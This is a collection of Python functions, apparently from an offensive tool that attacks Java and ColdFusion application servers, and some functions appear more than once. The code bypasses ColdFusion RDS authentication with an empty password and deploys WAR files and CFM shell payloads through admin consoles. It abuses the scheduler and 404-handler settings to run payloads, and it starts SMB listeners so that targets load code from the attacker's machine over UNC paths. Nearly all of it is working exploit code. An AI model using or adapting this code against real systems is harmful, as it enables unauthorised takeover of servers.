def runLatter(self, fingerengine, fingerprint, smb_thread): """ """ base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/manager/html/deploy" data = OrderedDict([ ("deployPath", "/asdf"), ("deployConfig", ""), ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), ]) cookies = None nonce = None # probe for auth response = utility.requests_get(base + '/manager/html') if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(base + '/manager/html', cookies=cookies[0], auth=cookies[1]) # get nonce nonce = findall("CSRF_NONCE=(.*?)\"", response.content) if len(nonce) > 0: nonce = nonce[0] # set new jsessionid cookies = (dict_from_cookiejar(response.cookies), cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) return if response.status_code == 200: try: # all setup, now invoke response = utility.requests_post(base + uri + \ '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, data = data, cookies=cookies[0], auth=cookies[1]) except: # timeout pass while smb_thread.is_alive(): # spin... sleep(1)
def attemptRDS(ip, port): """ If version 9.x is found, we attempt to bypass authentication using the RDS vulnerability (CVS-2013-0632) """ utility.Msg("Attempting RDS bypass...", LOG.DEBUG) url = "http://{0}:{1}".format(ip, port) uri = "/CFIDE/adminapi/administrator.cfc?method=login" data = {"adminpassword": '', "rdsPasswordAllowed": 1} response = utility.requests_post(url + uri, data) if response.status_code is 200 and "true" in response.content: return (dict_from_cookiejar(response.cookies), None) else: # try it with rdsPasswordAllowed = 0 data['rdsPasswordAllowed'] = 0 response = utility.requests_post(url + uri, data) if response.status_code is 200 and "true" in response.content: return (dict_from_cookiejar(response.cookies), None)
def undeploy(fingerengine, fingerprint): """ Undeploy a deployed application from the remote WL server """ app = fingerengine.options.undeploy # ensure it ends with war app = app if '.war' in app else app + '.war' base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) if fingerprint.title is WINTERFACES.WLS: base = base.replace("http", "https") uri = "/console/console.portal?AppApplicationUninstallPortletreturnTo="\ "AppAppApp&AppDeploymentsControlPortlethandler="\ "com.bea.console.handles.JMXHandle(\"com.bea:Name=mydomain,Type=Domain\")" data = { "all" : "on", "AppApplicationUninstallPortletchosenContents" : "com.bea.console.handles.AppDeploymentHandle%28%22com.bea"\ "%3AName%3D{0}%2CType%3DAppDeployment%22%29".format(app), "_pageLabel" : "AppApplicationUninstallPage", "_nfpb" : "true", "AppApplicationUninstallPortletfrsc" : None } utility.Msg("Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint, True) if cookies[0]: data['AppApplicationUninstallPortletfrsc'] = fetchCSRF(base, cookies[0]) try: utility.requests_post(base + uri, data=data, cookies=cookies[0], timeout=1.0) except exceptions.Timeout: utility.Msg("{0} undeployed.".format(app), LOG.SUCCESS) else: utility.Msg("Failed to undeploy {0}".format(app), LOG.ERROR) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
def create_task(ip, fingerprint, cfm_file, root): """ Create the task """ url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\ format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) data = { "TaskName": cfm_file, "Start_Date": "Jan 27, 2014", # shouldnt matter since we force run "ScheduleType": "Once", "StartTimeOnce": "9:56 PM", # see above "Operation": "HTTPRequest", "ScheduledURL": "http://{0}:{1}/{2}".format(state.external_port, utility.local_address(), cfm_file), "publish": "1", "publish_file": root + "\\" + cfm_file, # slash on OS? "adminsubmit": "Submit" } # version-specific settings if fingerprint.version in ["9.0", "10.0", '11.0']: data['csrftoken'] = csrf if fingerprint.version in ["10.0", '11.0']: data['publish_overwrite'] = 'on' if fingerprint.version in ["7.0", "8.0"]: data['taskNameOrig'] = "" response = utility.requests_get(url, cookies=cookie) if response.status_code is 200: # create task response = utility.requests_post( url, data=data, cookies=cookie, headers={'Content-Type': 'application/x-www-form-urlencoded'}) if response.status_code is 200: return True else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def delete_task(ip, fingerprint, cfm_file, cookie): """ """ base = 'http://{0}:{1}'.format(ip, fingerprint.port) uri = '/CFIDE/administrator/scheduler/deletetask.cfm' data = {"deletesubmit": "Yes", "task": cfm_file} response = utility.requests_post(base + uri, data=data, cookies=cookie) if response.status_code == 200: return True
def _auth(usr, pswd, url, version): """ Currently only auths to the admin interface """ data = {"userName": usr, "password": pswd, "submit": "+Login+"} response = utility.requests_post(url, data=data) if response.status_code is 200 and not "name=\"password\"" in response.content: utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) return dict_from_cookiejar(response.cookies)
def set_template(ip, fingerprint, root, cfm_file): """ ColdFusion 10.x+ doesn't allow us to simply schedule a task to obtain a CFM shell; instead, we deploy the payload with a .log extension, then set the file as the 404 handler. We can then trigger a 404 to invoke our payload. """ url = "http://{0}:{1}/CFIDE/administrator/settings/server_settings.cfm"\ .format(ip, fingerprint.port) template_handler = '/' + root.rsplit('\\', 1)[1] + '/' + cfm_file utility.Msg("Setting template handler to %s" % template_handler, LOG.DEBUG) (cookie, csrftoken) = fetch_csrf(ip, fingerprint, url) data = { "csrftoken": csrftoken, "LimitTime": "true", "MaxSeconds": 60, "enablePerAppSettings": 1, "uuidtoken": 1, "enablehttpst": 1, "WsEnable": 1, "secureJSONPrefix": "//", "outputBufferMax": 1024, "enableInMemoryFileSystem": 1, "inMemoryFileSystemLimit": 100, "inMemoryFileSystemApplicationLimit": 20, "WatchInterval": 120, "globalScriptProtect": "FORM,URL,COOKIE,CGI", "allowExtraAttributesInAttrColl": 1, "cFaaSGeneratedFilesExpiryTime": 30, "ORMSearchIndexDirectory": "", "CFFORMScriptSrc": "/CFIDE/scripts/", "GoogleMapKey": "", "serverCFC": "Server", "applicationCFCLookup": 1, "MissingTemplateHandler": template_handler, "SiteWideErrorHandler": "", "postParametersLimit": 100, "postSizeLimit": 20, "throttleThreshold": 4, "throttleMemory": 200, "adminsubmit": "Submit Changes" } response = utility.requests_post(url, data=data, cookies=cookie) if response.status_code == 200: if "missing template handler does not exist" in response.content: utility.Msg("Failed to set handler; invoked file not found.", LOG.ERROR) else: utility.Msg("Deployed. Access /CFIDE/ad123.cfm for your payload.", LOG.SUCCESS) return True
def jmx_undeploy(fingerengine, fingerprint): """ """ context = fingerengine.options.undeploy # ensure leading / is stripped context = context if not '/' in context else context[1:] # check for trailing war context = context if '.war' in context else context + '.war' url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) wid = fetchId(context, url) if not wid: utility.Msg("Could not find ID for WAR {0}".format(context), LOG.ERROR) return data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.web.deployment:war={0},id={1}'.format(context, wid)), ('methodIndex', 0) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} undeployed. WAR may still show under list".format(context))
def run7(self, fingerengine, fingerprint): """ JBoss 7.x does not have a jmx-console, and instead uses an HTTP management API that can be queried with JSON. It's not much fun to parse, but it does its job. """ headers = {'Content-Type': 'application/json'} data = '{"operation":"read-resource","address":[{"deployment":"*"}]}' url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) response = utility.requests_post(url, headers=headers, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for management, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, headers=headers, data=data, auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return json_list = response.json()['result'] for item in json_list: item_dict = dict(item) if "address" in item_dict.keys(): utility.Msg("Deployment found: %s" % dict(item_dict['address'][0])['deployment']) if len(json_list) <= 0: utility.Msg("No deployments found.", LOG.INFO)
def set_template(ip, fingerprint, root, cfm_file): """ ColdFusion 10.x+ doesn't allow us to simply schedule a task to obtain a CFM shell; instead, we deploy the payload with a .log extension, then set the file as the 404 handler. We can then trigger a 404 to invoke our payload. """ url = "http://{0}:{1}/CFIDE/administrator/settings/server_settings.cfm"\ .format(ip, fingerprint.port) template_handler = '/' + root.rsplit('\\', 1)[1] + '/' + cfm_file utility.Msg("Setting template handler to %s" % template_handler, LOG.DEBUG) (cookie, csrftoken) = fetch_csrf(ip, fingerprint, url) data = { "csrftoken" : csrftoken, "LimitTime" : "true", "MaxSeconds": 60, "enablePerAppSettings" : 1, "uuidtoken" : 1, "enablehttpst" : 1, "WsEnable" : 1, "secureJSONPrefix" : "//", "outputBufferMax" : 1024, "enableInMemoryFileSystem" : 1, "inMemoryFileSystemLimit" : 100, "inMemoryFileSystemApplicationLimit" : 20, "WatchInterval" : 120, "globalScriptProtect" : "FORM,URL,COOKIE,CGI", "allowExtraAttributesInAttrColl" : 1, "cFaaSGeneratedFilesExpiryTime" : 30, "ORMSearchIndexDirectory" : "", "CFFORMScriptSrc" : "/CFIDE/scripts/", "GoogleMapKey" : "", "serverCFC" : "Server", "applicationCFCLookup" : 1, "MissingTemplateHandler" : template_handler, "SiteWideErrorHandler" : "", "postParametersLimit" : 100, "postSizeLimit" : 20, "throttleThreshold" : 4, "throttleMemory" : 200, "adminsubmit" : "Submit Changes" } response = utility.requests_post(url, data=data, cookies=cookie) if response.status_code == 200: if "missing template handler does not exist" in response.content: utility.Msg("Failed to set handler; invoked file not found.", LOG.ERROR) else: utility.Msg("Deployed. Access /CFIDE/ad123.cfm for your payload.", LOG.SUCCESS) return True
def fetchId(base, path, cookie): """ Pretty simple two-step process to fetch the id: a) Set the error handler template to the id file b) Trigger an error c) restore handler """ # set error handler set_template = '/railo-context/admin/web.cfm?action=server.error' data = { 'errType500': 'Select', 'errorTemplate_Select500': '/railo-context/templates/error/error.cfm', # default 'errType404': 'File', 'errorTemplate_File404': '/railo-context/../id', 'doStatusCode': 'yes', 'mainAction': 'update' } response = utility.requests_post(base + set_template, data=data, cookies=cookie) if response.status_code is not 200: utility.Msg( "Failed to set error handler (HTTP %d)" % response.status_code, LOG.ERROR) return None # trigger 404 and pull file response = utility.requests_get(base + '/railo-context/admin/xx.cfm') id = response.content # got the ID, restore handler data['errorTemplate_File404'] = '/railo-context/templates/error/error.cfm' response = utility.requests_post(base + set_template, data=data, cookies=cookie) return id
def attemptRDS(ip, port): """ If version 9.x is found, we attempt to bypass authentication using the RDS vulnerability (CVS-2013-0632) """ utility.Msg("Attempting RDS bypass...", LOG.DEBUG) url = "http://{0}:{1}".format(ip, port) uri = "/CFIDE/adminapi/administrator.cfc?method=login" data = { "adminpassword" : '', "rdsPasswordAllowed" : 1 } response = utility.requests_post(url + uri, data) if response.status_code is 200 and "true" in response.content: return (dict_from_cookiejar(response.cookies), None) else: # try it with rdsPasswordAllowed = 0 data['rdsPasswordAllowed'] = 0 response = utility.requests_post(url + uri, data) if response.status_code is 200 and "true" in response.content: return (dict_from_cookiejar(response.cookies), None)
def run(self, fingerengine, fingerprint): """ Same as JBoss/Tomcat """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/console/console.portal?AppApplicationInstallPortlet_actionOverride'\ '=/com/bea/console/actions/app/install/appSelected' data = { "AppApplicationInstallPortletselectedAppPath" : "\\\\{0}\\fdas.war".format(utility.local_address()), "AppApplicationInstallPortletfrsc" : None } if fingerprint.title is WINTERFACES.WLS: base = base.replace("http", "https") utility.Msg("Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint) if cookies[0]: utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() # fetch our CSRF data['AppApplicationInstallPortletfrsc'] = self.fetchCSRF(base, cookies[0]) utility.Msg("Invoking UNC loader...") try: _ = utility.requests_post(base+uri, data=data, cookies=cookies[0], timeout=1.0) except: # we dont care about the response here pass else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin sleep(1) self._Listen = False
def run7(self, fingerengine, fingerprint): """ JBoss 7.x does not have a jmx-console, and instead uses an HTTP management API that can be queried with JSON. It's not much fun to parse, but it does its job. """ headers = {'Content-Type' : 'application/json'} data = '{"operation":"read-resource","address":[{"deployment":"*"}]}' url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) response = utility.requests_post(url, headers=headers, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for management, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, headers=headers, data=data, auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return json_list = response.json()['result'] for item in json_list: item_dict = dict(item) if "address" in item_dict.keys(): utility.Msg("Deployment found: %s" % dict(item_dict['address'][0])['deployment']) if len(json_list) <= 0: utility.Msg("No deployments found.", LOG.INFO)
def _auth(usr, pswd, url, version): """ Currently only auths to the admin interface """ data = { "userName" : usr, "password" : pswd, "submit" : "+Login+" } response = utility.requests_post(url, data=data) if response.status_code is 200 and not "name=\"password\"" in response.content: utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) return dict_from_cookiejar(response.cookies)
def delete_task(ip, fingerprint, cfm_file, cookie): """ """ base = 'http://{0}:{1}'.format(ip, fingerprint.port) uri = '/CFIDE/administrator/scheduler/deletetask.cfm' data = { "deletesubmit" : "Yes", "task" : cfm_file } response = utility.requests_post(base + uri, data=data, cookies=cookie) if response.status_code is 200: return True
def manage_undeploy(fingerengine, fingerprint): """ This is used to undeploy from JBoss 7.x and 8.x """ context = fingerengine.options.undeploy context = parse_war_path(context) url = 'http://{0}:{1}/management'.format(fingerengine.options.ip, fingerprint.port) undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\ .format(context) headers = {'Content-Type': "application/json"} response = utility.requests_post(url, headers=headers, data=undeploy) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookie: response = utility.requests_post(url, headers=headers, data=undeploy, cookies=cookie[0], auth=cookie[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS) else: utility.Msg("Failed to undeploy", LOG.ERROR)
def delete_task(ip, fingerprint, cfm_file): """ """ global cookie base = "http://{0}:{1}/railo-context/admin/web.cfm".format( ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([("row_1", "1"), ("name_1", cfm_file), ("mainAction", "delete")]) response = utility.requests_post(base + params, data=data, cookies=cookie) if response.status_code is 200: return True
def run(self, fingerengine, fingerprint): """ Create a search collection via a nonexistent datasource """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = "/railo-context/admin/web.cfm?action=services.search" data = { "collName": "asdf", "collPath": "\\\\{0}\\asdf".format(utility.local_address()), "collLanguage": "english", "run": "create" } url = base + uri cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) self._Listen = False return response = utility.requests_post(url, data=data, cookies=cookies) while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def _auth(pswd, url, title): """ Support auth for both the web and server interfaces """ data = OrderedDict([("lang", "en"), ("rememberMe", "yyyy"), ("submit", "submit")]) if title is RINTERFACES.WEB: data["login_passwordweb"] = pswd elif title is RINTERFACES.SRV: data['login_passwordserver'] = pswd response = utility.requests_post(url, data=data) if response.status_code is 200 and "login.login_password" not in response.content: utility.Msg("Successfully authenticated with '%s'" % pswd, LOG.DEBUG) return dict_from_cookiejar(response.cookies)
def redo_auth(fingerengine, fingerprint, url, **args): """ For whatever reason, we need to reauth at each stage of this process. It's a huge pain, and I have no idea why they thought this was a great idea. If you perform a deployment manually and inspect the traffic with a web proxy, you can see the 401's for each step. It's ridiculous. """ response = None utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, auth=cookies[1], **args) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return response
def run(self, fingerengine, fingerprint): """ Create a search collection via a nonexistent datasource """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = "/railo-context/admin/web.cfm?action=services.search" data = { "collName" : "asdf", "collPath" : "\\\\{0}\\asdf".format(utility.local_address()), "collLanguage" : "english", "run" : "create" } url = base + uri cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) self._Listen = False return response = utility.requests_post(url, data=data, cookies=cookies) while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def delete_task(ip, fingerprint, cfm_file): """ """ global cookie base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([ ("row_1", "1"), ("name_1", cfm_file), ("mainAction", "delete") ]) response = utility.requests_post(base + params, data=data, cookies=cookie) if response.status_code is 200: return True
def undeploy(fingerengine, fingerprint): """ Undeploying is quite simple via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) context = parse_war_path(fingerengine.options.undeploy) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) headers = { "Accept" : "application/json", "X-Requested-By" : "requests" } if not cookie: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to undeploy %s..." % context) uri = '/management/domain/applications/application/%s' % context if fingerprint.version in ['3.0']: # GF 3.0 doesnt appear to support the DELETE verb data = { "operation" : "__deleteoperation" } response = utility.requests_post(base + uri, auth=cookie, headers=headers, data=data) else: response = utility.requests_delete(base + uri, auth=cookie, headers=headers) if response.status_code is 200: utility.Msg("'%s' undeployed successfully" % context, LOG.SUCCESS) else: utility.Msg("Failed to undeploy %s: %s" % (context, response.content), LOG.ERROR)
def check(self, ip, port = None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}/resource/xx.cs".format(ip, rport) main_url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 404: data = findall("Edition|Server (.*?) *</h3>", response.content) if len(data) > 0 and self.version in data[0]: # # The admin interface can be remotely exposed, but not accessible; lets # check for that # main_r = utility.requests_post(main_url, data={"j_username":"******", "j_password":"", "loginButton.DisabledHiddenField":"true" } ) if 'Secure Admin must be enabled' in main_r.content: utility.Msg("Admin interface version %s discovered, but" " not remotely accessible." % self.version, LOG.UPDATE) return False return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def _auth(pswd, url, title): """ Support auth for both the web and server interfaces """ data = OrderedDict([ ("lang", "en"), ("rememberMe", "yyyy"), ("submit", "submit") ]) if title is RINTERFACES.WEB: data["login_passwordweb"] = pswd elif title is RINTERFACES.SRV: data['login_passwordserver'] = pswd response = utility.requests_post(url, data=data) if response.status_code is 200 and "login.login_password" not in response.content: utility.Msg("Successfully authenticated with '%s'" % pswd, LOG.DEBUG) return dict_from_cookiejar(response.cookies)
def make_request(method, host, port, ssl, url, data, cookies=None, allow_redirects=True): response = None if port == None and ssl: port = 443 if port == None and not ssl: port = 80 try: url = "{0}://{1}:{2}{3}".format("https" if ssl else "http", host, port, url) if method == 'GET': response = utility.requests_get(url, cookies=cookies) elif method == 'BASIC': response = utility.requests_get(url, cookies=cookies, auth=(data['username'], data['password'])) elif method == 'POST': response = utility.requests_post(url, data, cookies=cookies, allow_redirects=allow_redirects) elif method == 'HEAD': response = utility.requests_head(url, cookies=cookies) elif method == 'PUT': response = utility.requests_put(url, data, cookies=cookies) else: response = utility.requests_other(method, url, cookies=cookies) return response except exceptions.Timeout: utility.Msg("Timeout to {0}:{1}".format(host, port), 'DEBUG') except exceptions.ConnectionError, e: utility.Msg("Connection error to {0} ({1})".format(host, port, e), 'DEBUG')
def run(self, fingerengine, fingerprint): utility.Msg("Checking RDS...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerengine.options.port) url = base + "/CFIDE/adminapi/administrator.cfc?method=login" payload = {'adminpassword': '', 'rdsPasswordAllowed': 1} rval = utility.requests_post(url, payload) if rval.status_code is 200: rval = rval.content if "true" in rval: rval = utility.requests_get(base + "/CFIDE/administrator/index.cfm") if rval.status_code is 200: utility.Msg("Login bypass successful.", LOG.SUCCESS) else: utility.Msg("System not vulnerable.", LOG.ERROR)